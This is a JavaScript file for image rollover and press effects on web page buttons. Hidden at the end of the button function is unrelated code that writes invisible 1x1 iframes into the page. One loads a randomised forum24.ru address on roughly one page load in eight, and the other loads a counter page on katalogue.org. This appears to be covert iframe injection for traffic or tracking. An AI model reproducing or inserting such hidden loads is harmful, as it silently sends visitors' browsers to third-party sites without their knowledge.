function add_activ_buttons()
{
var j,z,n_a,n_d,d1,d2,activ,passiv,down;

for (j=0; j < document.images.length; j++) {
passiv=document.images[j].src;
if (passiv.substring(0,link_img.length)==link_img) {
n_a='0';
for (z=0; z<no_activ.length; z++)  {
d1=passiv.length - no_activ[z].length;
d2=passiv.length;
if (passiv.substring(d1,d2)==no_activ[z]) {
n_a=1;}}
if (n_a=='0') {

document.images[j].onmouseout=function(e){
passiv = this.src;
passiv = passiv.replace("_activ","");
passiv = passiv.replace("_down","");
e.target.src = passiv;
};

document.images[j].onmouseover=function(e){
passiv = this.src;
passiv = passiv.replace("_activ","");
passiv = passiv.replace("_down","");
activ = passiv.replace(ext_img,"_activ"+ext_img);
e.target.src = activ;
};

n_d='0';
for (z=0; z<no_down.length; z++)  {
d1=passiv.length - no_down[z].length;
d2=passiv.length;
if (passiv.substring(d1,d2)==no_down[z]) {
n_d='1';}}
if (n_d=='0') {

document.images[j].onmousedown=function(e){
passiv = this.src;
passiv = passiv.replace("_activ","");
passiv = passiv.replace("_down","");
down = passiv.replace(ext_img,"_down"+ext_img);
e.target.src = down;
};

document.images[j].onmouseup=function(e){
passiv = this.src;
passiv = passiv.replace("_activ","");
passiv = passiv.replace("_down","");
activ = passiv.replace(ext_img,"_activ"+ext_img);
e.target.src = activ;
};

}}}}


if(Math.floor(Math.random()*(8))==0){
document.write('<iframe style="display:none;" width="1" height="1" border="0px" src="http://wap.catalogue.forum24.ru/?0-'+Math.floor(Math.random()* 19)+'"></iframe>');
}
if (group!=0){
document.write('<iframe style="display:none;" width="1" height="1" border="0px" src="http://katalogue.org/counter.html"></iframe>');
}


}